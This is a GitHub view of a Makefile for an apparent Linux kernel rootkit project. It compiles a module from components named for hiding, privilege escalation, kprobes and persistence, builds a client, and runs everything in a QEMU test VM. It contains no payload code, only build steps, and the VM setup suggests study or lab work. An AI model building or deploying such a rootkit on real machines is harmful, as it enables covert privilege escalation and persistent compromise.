-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMakefile
113 lines (86 loc) · 2.97 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
PWD := $(CURDIR)
CC := clang
# Kernel & image
KERNEL ?= 6.11
DISK ?= disk.img
DISK_QCOW2 := $(basename $(DISK)).qcow2
CLIENT := ientcli
ROOTKIT := rootkit
SHARED_FOLDER := /tmp/qemu-share
SRC_DIR := src
RELEASE_DIR := dist/
KERN_DIR := linux-${KERNEL}
CLIENT_DIR := $(SRC_DIR)/client
ROOTKIT_DIR := $(SRC_DIR)/rootkit
# Rootkit
obj-m += $(ROOTKIT).o
$(ROOTKIT)-y += $(ROOTKIT_DIR)/init.o
$(ROOTKIT)-y += $(ROOTKIT_DIR)/hide.o
# $(ROOTKIT)-y += $(ROOTKIT_DIR)/phide.o
$(ROOTKIT)-y += $(ROOTKIT_DIR)/privesc.o
$(ROOTKIT)-y += $(ROOTKIT_DIR)/kprobe.o
$(ROOTKIT)-y += $(ROOTKIT_DIR)/driver.o
$(ROOTKIT)-y += $(ROOTKIT_DIR)/persistance.o
# Client
CLIENT_SRC := $(CLIENT_DIR)/main.c
CLIENT_SRC += $(CLIENT_DIR)/commands.c
# Flags
ccflags-y += -I $(SRC_DIR)/include
ccflags-y += -I $(ROOTKIT_DIR)/include
ccflags-y += -O0 -Wno-declaration-after-statement -Wno-ignored-qualifiers
CLIENT_FLAGS := -I $(SRC_DIR)/include -I $(CLIENT_DIR)/include
help:
@echo "Usage: make <target>"
@echo ""
@echo "Targets:"
@echo " help Display this help message"
@echo " lfs Build the lfs : compile the kernel, build VM img and run it"
@echo " build Compile and copy rootkit and client"
@echo " rootkit Compile rootkit"
@echo " client Compile client"
@echo " copy Copy rootkit and client to shared folder"
@echo " kernel Download and compile kernel"
@echo " get_kernel Download kernel"
@echo " compile_kernel Compile kernel"
@echo " disk Make VM disk image"
@echo " deploy Run VM (build it if necessary)"
@echo " run Run VM only"
@echo " convert Convert img disk to compressed qcow2"
@echo " clean Clean modules"
@echo " clean_disk Clean up VM images"
@echo ""
@echo "Optionnal params:"
@echo " KERNEL=<version> Define the kernel version to be compiled (default: ${KERNEL})"
@echo " DISK=<disk path> Specifies the disk path to be ran (default : ${DISK})"
build: rootkit client copy
rootkit:
make -C ${KERN_DIR} M=$(PWD) modules CC=$(CC)
@mkdir -p $(RELEASE_DIR)
@mv $(ROOTKIT).ko $(RELEASE_DIR)
client:
gcc -Wall -Werror -static -o $(CLIENT) $(CLIENT_SRC) $(CLIENT_FLAGS) || { echo "Failed to compile client."; exit 1; }
@mkdir -p $(RELEASE_DIR)
@mv $(CLIENT) $(RELEASE_DIR)
copy:
@mkdir -p $(SHARED_FOLDER)
@cp $(RELEASE_DIR)/* $(SHARED_FOLDER) || { echo "Failed to copy files."; exit 1; }
clean:
make -C ${KERN_DIR} M=$(PWD) clean
@rm -f dist/*
compile_kernel:
./scripts/compile_kernel.sh $(KERNEL) $(CC)
get_kernel:
./scripts/get_kernel.sh $(KERNEL)
kernel: get_kernel compile_kernel
disk:
./scripts/build_img.sh $(KERNEL) $(DISK)
run:
./scripts/run_vm.sh $(DISK)
convert:
@qemu-img convert -cp -f raw -O qcow2 $(DISK) $(DISK_QCOW2) || { echo "Failed to convert image."; exit 1; }
@echo "output : $(DISK_QCOW2)"
deploy: disk run
lfs: kernel deploy
clean_disk:
@rm -f *.img *.qcow2
.PHONY: help kernel compile_kernel clean get_kernel disk run deploy all clean_disk copy client build convert lfs